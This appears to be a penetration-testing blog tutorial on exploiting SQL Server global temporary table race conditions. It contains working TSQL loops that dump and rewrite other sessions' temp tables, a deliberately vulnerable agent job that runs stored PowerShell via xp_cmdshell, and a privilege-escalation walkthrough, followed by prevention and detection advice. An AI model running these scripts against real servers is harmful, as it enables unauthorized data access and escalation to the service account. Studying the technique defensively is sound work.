Exploiting SQL Server Global Temporary Table Race Conditions

SQL Server global temporary tables usually aren’t an area of focus during network and application penetration tests. However, they are periodically used insecurely by developers to store sensitive data and code blocks that can be accessed by unprivileged users. In this blog, I’ll walk through how global temporary tables work, and share some techniques that we’ve used to identify and exploit them in real applications.

If you don’t want to read through everything you can jump ahead:

Lab Setup
What are Global Temporary Tables?
How do Temporary Tables Work?
How do I Find Vulnerable Global Temporary Tables?
- Review Source Code
- Monitor Global Temporary Tables
Case Study: Privilege Escalation Through a TSQL Agent Job
What can I do about it?

Lab Setup

Install SQL Server. Most of the scenarios we’ll cover can be executed with SQL Server Express, but if you want to follow along with the case study you will need to use one of the commercial versions that supports agent jobs.
Log into the SQL Server as a sysadmin.
Create a least privilege login.

-- Create server login
CREATE LOGIN [basicuser] WITH PASSWORD = 'Password123!';

What are Global Temporary Tables?

The are many ways to store data temporarily in SQL Server, but temporary tables seem to be one of the most popular methods. Based on what I’ve seen, there are three types of temporary tables commonly used by developers that include table variables, local temporary tables, and global temporary tables. Each has its pros, cons, and specialized use cases, but global temporary tables tend to create the most risk, because they can be read and modified by any SQL Server user. As a result, using global temporary tables often results in race conditions that can be exploited by least privilege users to gain unauthorized access to data and privileges.

How do Temporary Tables Work?

In this section I’ve provided a primer that covers how to create the three types of temporary tables, where they’re stored, and who can access them. To get us started let’s sign into SQL Server using our sysadmin login and review each of the three types of temp tables.

All of the temporary tables are stored in the tempdb database and can be listed using the query below.

SELECT *
FROM tempdb.sys.objects
WHERE name like '#%';

All users in SQL Server can execute the query above, but the access users have to the tables displayed depends largely on the table type and scope.

Below is a summary of the scope for each type of temporary table.

With that foundation in place, let’s walk through some TSQL exercises to help better understand each of those scope boundaries.

Exercise 1: Table Variables

Table variables are limited to a single query batch within the current user’s active session. They’re not accessible to other query batches, or to other active user sessions. As a result, it’s not very likely that data would be leaked to unprivileged users.

Below is an example of referencing a table variable in the same batch.

-- Create table variable
If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable')
DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records into table variable
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')

-- Query table variable in same batch 
SELECT * 
FROM @table_variable
GO

We can see from the image above that we are able to query the table variable within the same batch query. However, when we separate the table creation and table data selection into two batches using “GO”, we can see that the table variable is no longer accessible outside of its original batch job. Below is an example.

Hopefully that helps illustrate the scope limitations of table variables, but you might still be wondering how they’re stored. When you create a table variable it’s stored in tempdb using a name starting with a “#” and randomly generated characters. The query below can be used to filter for table variables being used.

SELECT * 
FROM tempdb.sys.objects  
WHERE name not like '%[_]%' 
AND (select len(name) - len(replace(name,'#',''))) = 1

Exercise 2: Local Temporary Tables

Like table variables, local temporary tables are limited to the current user’s active session, but they are not limited to a single batch. For that reason, they offer more flexibility than table variables, but still don’t increase the risk of unintended data exposure, because other active user sessions can’t access them. Below is a basic example showing how to create and access local temporary tables across different query batches within the same session.

-- Create local temporary table
IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL)
CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records local temporary table
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
GO

-- Query local temporary table
SELECT * 
FROM #LocalTempTbl
GO

As you can see from the image above, the table data can still be accessed across multiple query batches. Similar to table variables, all custom local temporary tables need to start with a “#”. Other than you can name them whatever you want. They are also stored in the tempdb database, but SQL Server will append some additional information to the end of your table name so access can be constrained to your session. Let’s see what our new table “#LocalTempTbl” looks like in tempdb with the query below.

SELECT * 
FROM tempdb.sys.objects 
WHERE name like '%[_]%' 
AND (select len(name) - len(replace(name,'#',''))) = 1
</code

Above we can see the table we created named “#LocalTempTbl”, had some of the additional session information appended to it. All users can see the that temp table name, but only the session that created it can access its contents. It appears that the session id appended to the end increments with each session made to the server, and you can actually use the full name to query that table from with your session. Below is an example.

SELECT * 
FROM tempdb..[ #LocalTempTbl_______________________________________________________________________________________________________000000000007]
</code

However, if you attempt to access that temp table from another user’s session you get the follow error.

Regardless, when you’re all done with the local temporary table it can be removed by terminating your session or explicitly dropping it using the example command below.

DROP TABLE #LocalTempTbl

Exercise 3: Global Temporary Tables

Ready to level up? Similar to local temporary tables you can create and access global temporary tables from separate batched queries. The big difference is that ALL active user sessions can view and modify global temporary tables. Let’s take a look at a basic example below.

-- Create global temporary table
IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL)
CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL);

-- Insert records global temporary table
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie')
INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery')
GO

-- Query global temporary table
SELECT * 
FROM ##GlobalTempTbl
GO

Above we can see that we are able to query the global temporary table across different query batches. All custom global temporary tables need to start with “##”. Other than you can name them whatever you want. They are also stored in the tempdb database. Let’s see what our new table “##GlobalTempTbl” looks like in tempdb with the query below.

SELECT * 
FROM tempdb.sys.objects 
WHERE (select len(name) - len(replace(name,'#',''))) > 1
</code

You can see that SQL Server doesn’t append any session related data to the table name like it does with local temporary tables, because it’s intended to be used by all sessions. Let’s sign into another session using the “basicuser” login we created to show that’s possible.

As you can see, if that global temporary table contains sensitive data it’s now exposed to all of the SQL Server users.

How do I Find Vulnerable Global Temporary Tables?

It’s easy to target Global Temp Tables when you know the table name, but most auditors and attackers won’t know where the bodies are buried. So, in this section I’ll cover a few ways you can blindly locate potentially exploitable global temporary tables.

Review Source Code if you’re a privileged user.
Monitor Global Temporary Tables if you’re an unprivileged user.

Review Source Code

If you’re logged into SQL Server as a sysadmin or a user with other privileged roles, you can directly query the TSQL source code of agent jobs, store procedures, functions, and triggers for each database. You should be able to filter the query results for the string “##” to identify the use of global temporary table usage in the TSQL. With the filtered list in hand, you should be able to review the relevant TSQL source code and determine under which conditions the global temporary tables are vulnerable to attack.

Below are some links to TSQL query templates to get you started:

It’s worth noting that PowerUpSQL also supports functions that can be used to query for that information. Those functions include:

Get-SQLAgentJob
Get-SQLStoredProcedure
Get-SQLTriggerDdl
Get-SQLTriggerDml

It would be nice if we could always just view the source code, but the reality is that most attackers won’t have sysadmin privileges out of the gate. So, when you find you self in that position it’s time to change your approach.

Monitor Global Temporary Tables

Now let’s talk about blindly identifying global temporary tables from a least privilege perspective. In the previous sections, we showed how to list temporary table names and query their contents. However, we didn’t have easy insight into the columns. So below I’ve extended the original query to include that information.

-- List global temp tables, columns, and column types
SELECT t1.name as 'Table_Name',
       t2.name as 'Column_Name',
       t3.name as 'Column_Type',
       t1.create_date,
       t1.modify_date,
       t1.parent_object_id       
FROM tempdb.sys.objects AS t1
JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

If you didn’t DROP “##GlobalTempTbl”, then you should see something similar to the results below when you execute the query.

Running the query above provides insight into the global temporary tables being used at that moment, but it doesn’t help us monitor for their use over time. Remember, temporary tables are commonly only used for a short period of time, so you don’t want to miss them.

The query below is a variation of the first query, but will provide a list of global temporary tables every second. The delay can be changed by modifying the “WAITFOR” statement, but be careful not to overwhelm the server. If you’re not sure what you’re doing, then this technique should only be practiced in non-production environments.

-- Loop
While 1=1
BEGIN
    SELECT t1.name as 'Table_Name',
           t2.name as 'Column_Name',
           t3.name as 'Column_Type',
           t1.create_date,
           t1.modify_date,
           t1.parent_object_id       
    FROM tempdb.sys.objects AS t1
    JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
    JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
    WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

    -- Set delay
    WaitFor Delay '00:00:01'
END

As you can see, the query will provide a list of table names and columns that we can use in future attacks, but we may also want to monitor the contents of the global temporary tables to understand what our options are. Below is an example, but remember to use “WAITFOR” to throttle your monitoring when possible.

-- Monitor contents of all Global Temp Tables 
-- Loop
WHILE 1=1
BEGIN
    -- Add delay if required
    WAITFOR DELAY '0:0:1'
    
    -- Setup variables
    DECLARE @mytempname varchar(max)
    DECLARE @psmyscript varchar(max)

    -- Iterate through all global temp tables 
    DECLARE MY_CURSOR CURSOR 
        FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
    OPEN MY_CURSOR
    FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    WHILE @@FETCH_STATUS = 0
    BEGIN 

        -- Print table name
        PRINT @mytempname 

        -- Select table contents
        DECLARE @myname varchar(max)
        SET @myname = 'SELECT * FROM [' + @mytempname + ']'
        EXEC(@myname)

        -- Next record
        FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    END
    CLOSE MY_CURSOR
    DEALLOCATE MY_CURSOR
END

As you can see, the query above will monitor for global temp tables and display their contents. That technique is a great way to blindly dump potentially sensitive information from global temporary tables, even if they only exist for a moment. However, sometimes you may want to modify the contents of the global temp tables too. We already know the table and column names. So, it’s pretty straight forward to monitor for global temp tables being created and update their contents. Below is an example.

-- Loop forever
WHILE 1=1 
BEGIN    
    -- Select table contents
    SELECT * FROM ##GlobalTempTbl

    -- Update global temp table contents
    DECLARE @mycommand varchar(max)
    SET @mycommand = 'UPDATE t1 SET t1.SpyName = ''Inspector Gadget'' FROM ##GlobalTempTbl  t1'        
    EXEC(@mycommand)    
END

As you can see, the table was updated. However, you might still be wondering, “Why would I want to change the contents of the temp table?”. To help illustrate the value of the technique I’ve put together a short case study in the next section.

Case Study: Attacking a Vulnerable Agent Job

Now for some real fun. Below we’ll walk through the vulnerable agent job’s TSQL code and I’ll highlight where the global temporary tables are being used insecurely. Then we’ll exploit the flaw using the previously discussed techniques. To get things started, download and run this TSQL script as a sysadmin to configure the vulnerable agent jobs on the SQL Server instance.

Vulnerable Agent Job Walkthrough

The agent will execute the TSQL job every minute and perform the following process:

The job generates an output file path for the PowerShell script that will be executed later.

-- Set filename for PowerShell script
Set @PsFileName = ''MyPowerShellScript.ps1''

-- Set target directory for PowerShell script to be written to
SELECT  @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''ErrorLogFileName'')) as VARCHAR(MAX)),''ERRORLOG'','''')

-- Create full output path for creating the PowerShell script 
SELECT @PsFilePath = @TargetDirectory +  @PsFileName

The job creates a string variable called “@MyPowerShellCode” to store the PowerShell script. The PowerShell code simply creates the file “C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput.txt” and contains the string “hello world”.
```
-- Define the PowerShell code
SET @MyPowerShellCode = ''Write-Output "hello world" | Out-File "'' +  @TargetDirectory + ''intendedoutput.txt"''
```
Pro Tip: The SQL Server and agent service accounts always have write access to the log folder of the SQL Server installation. Sometimes it can come in handy during offensive operations. You can find the log folder with the query below:
```
SELECT SERVERPROPERTY('InstanceDefaultLogPath')
```

The “@MyPowerShellCode” variable that contains the PowerShell code is then inserted into a randomly named Global Temporary Table. This is where it all starts to go wrong for the developer, because the second that table is created any user can view and modify it.

-- Create a global temp table with a unique name using dynamic SQL 
SELECT  @MyGlobalTempTable =  ''##temp'' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000))

-- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table
SELECT  @Command = ''
        CREATE TABLE ['' + @MyGlobalTempTable + ''](MyID int identity(1,1), PsCode varchar(MAX)) 
        INSERT INTO  ['' + @MyGlobalTempTable + ''](PsCode) 
        SELECT @MyPowerShellCode''

-- Execute that command 
EXECUTE sp_ExecuteSQL @command, N''@MyPowerShellCode varchar(MAX)'', @MyPowerShellCode

Xp_cmdshell is then used to execute bcp on the operating system. Bcp is a backup utility that ships with SQL Server. In this case, it’s being used to connect to the SQL Server instance as the SQL Server service account, select the PowerShell code from the Global Temporary Table, and write the PowerShell code to the file path defined in step 1.
```
-- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1
SELECT @Command = ''bcp "SELECT PsCode from ['' + @MyGlobalTempTable + '']'' + ''" queryout "''+ @PsFilePath + ''" -c -T -S '' + @@SERVERNAME-- Write the file
EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT
```

Next, xp_cmdshell is used again to execute the PowerShell script that was just written to disk.

-- Run the PowerShell script
DECLARE @runcmdps nvarchar(4000)
SET @runcmdps = ''Powershell -C "$x = gc ''''''+ @PsFilePath + '''''';iex($X)"''
EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT

Finally, xp_cmdshell is used one last time to remove the PowerShell script.

-- Delete the PowerShell script
DECLARE @runcmddel nvarchar(4000)
SET @runcmddel= ''DEL /Q "'' + @PsFilePath +''"''
EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT

Vulnerable Agent Job Attack

Now that our vulnerable agent job is running in the background, let’s log in using our least privilege user “basicuser” to conduct our attack. Below is a summary of the attack.

First, let’s see if we can discover the global temporary name using our monitoring query from earlier. This monitoring script is throttled. I do not recommend removing the throttle in production, it tends to consume a lot of CPU, and that will set off alarms, because DBAs tend to monitor the performance of their production servers pretty closely. You’re much more likely to get a caught causing 80% utilization on the server than you are when executing xp_cmdshell.
```
-- Loop
While 1=1
BEGIN
    SELECT t1.name as 'Table_Name',
           t2.name as 'Column_Name',
           t3.name as 'Column_Type',
           t1.create_date,
           t1.modify_date,
           t1.parent_object_id       
    FROM tempdb.sys.objects AS t1
    JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID
    JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id
    WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1

    -- Set delay
    WAITFOR DELAY '00:00:01'
END
```
The job takes a minute to run so you may have to wait 59 seconds (or you can manually for the job to execute in the lab), but eventually you should see something similar to the output below.
In this this example, the table name “##temp800845” looks random, so we try monitoring again and get the table name “##103919”. It has a different name, but it has the same columns. That’s enough information to get us moving in the right direction.

Next, we want to take a look at the contents of the global temporary table before it gets removed. However, we don’t know what the table name will be. To work around that constraint, the query below will display the contents of every global temporary table.

-- Monitor contents of all Global Temp Tables 
-- Loop
While 1=1
BEGIN
    -- Add delay if required
    WAITFOR DELAY '00:00:01'
    
    -- Setup variables
    DECLARE @mytempname varchar(max)
    DECLARE @psmyscript varchar(max)

    -- Iterate through all global temp tables 
    DECLARE MY_CURSOR CURSOR 
        FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
    OPEN MY_CURSOR
    FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    WHILE @@FETCH_STATUS = 0
    BEGIN 

        -- Print table name
        PRINT @mytempname 

        -- Select table contents
        DECLARE @myname varchar(max)
        SET @myname = 'SELECT * FROM [' + @mytempname + ']'
        EXEC(@myname)

        -- Next record
        FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    END
    CLOSE MY_CURSOR
    DEALLOCATE MY_CURSOR
END

From here we can see that the global temporary table is actually housing PowerShell code. From that, we can guess that it’s being executed at some point down the line. So, the next step is to modify the PowerShell code before it gets executed.

Once again, we don’t know what the table name is going to be, but we do know the column names. So can we modify our query from step 3, and UPDATE the contents of the global temporary table rather than simply selecting it’s contents. In this case, we’ll be changing the output path defined in the code from “C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput.txt” to “C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt”. However, you could replace the code with your favorite PowerShell shellcode runner or whatever arbitrary commands bring sunshine into your day.

-- Create variables
DECLARE @PsFileName NVARCHAR(4000)
DECLARE @TargetDirectory NVARCHAR(4000)
DECLARE @PsFilePath NVARCHAR(4000)

-- Set filename for PowerShell script
Set @PsFileName = 'finishline.txt'

-- Set target directory for PowerShell script to be written to
SELECT  @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY('ErrorLogFileName')) as VARCHAR(MAX)),'ERRORLOG','')

-- Create full output path for creating the PowerShell script 
SELECT @PsFilePath = @TargetDirectory +  @PsFileName

-- Loop forever 
WHILE 1=1 
BEGIN    
    -- Set delay
    WAITFOR DELAY '0:0:1'

    -- Setup variables
    DECLARE @mytempname varchar(max)

    -- Iterate through all global temp tables 
    DECLARE MY_CURSOR CURSOR 
        FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
    OPEN MY_CURSOR
    FETCH NEXT FROM MY_CURSOR INTO @mytempname 
    WHILE @@FETCH_STATUS = 0
    BEGIN         
        -- Print table name
        PRINT @mytempname 
    
        -- Update contents of known column with ps script in an unknown temp table    
        DECLARE @mycommand varchar(max)
        SET @mycommand = 'UPDATE t1 SET t1.PSCode = ''Write-Output "hello world" | Out-File "' + @PsFilePath + '"'' FROM ' + @mytempname + '  t1'
        EXEC(@mycommand)    

        -- Select table contents
        DECLARE @mycommand2 varchar(max)
        SET @mycommand2 = 'SELECT * FROM [' + @mytempname + ']'
        EXEC(@mycommand2)
    
        -- Next record
        FETCH NEXT FROM MY_CURSOR INTO @mytempname  
    END
    CLOSE MY_CURSOR
    DEALLOCATE MY_CURSOR
END

As you can see from the screenshot above, we were able to update the temporary table contents with our custom PowerShell code. To confirm that we beat the race condition, verify that the “C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt” file was created.
Note: You’re path may be different if you’re using a different version of SQL Server.

Tada! In summary, we leveraged the insecure use of global temporary tables in a TSQL agent job to escalate privileges from a least privilege SQL Server login to the Windows operating system account running the SQL Server agent service.

What can I do about it?

Below are some basic recommendations based on a little research, but please reach out if you have any thoughts. I would love to hear how other folks are tackling this one.

Prevention

Don’t run code blocks that have been stored in a global temporary table.
Don’t store sensitive data or code blocks in a global temporary table.
If you need to access data across multiple sessions consider using memory-optimized tables. Based on my lab testing, they can provide similar performance benefits without having to expose data to unprivileged users. For more information check out this article from Microsoft.

Detection

At the moment, I don’t have a great way to monitor for potentially malicious global temporary table access. However, if an attacker is monitoring global temporary tables too aggressively the CPU should spike and you’ll likely see their activity in the list of expensive queries. From there, you should be able to track down the offending user using the session_id and a query similar to:

SELECT 
    status,
    session_id,
    login_time,
    last_request_start_time,
    security_id,
    login_name,
    original_login_name
FROM [sys].[dm_exec_sessions]

Wrap Up

In summary, using global temporary tables results in race conditions that can be exploited by least privilege users to read and modify the associated data. Depending on how that data is being used it can have some pretty big security implications. Hopefully the information is useful to the builders and breakers out there trying to make things better. Either way, have fun and hack responsibility.

The CISO’s Guide to Securing AI/ML Models

Gut Check: Are You Getting the Most Value out of Your Penetration Testing Report?

Chubb partners with NetSPI to bring attack surface management to its policyholders

Partner with NetSPI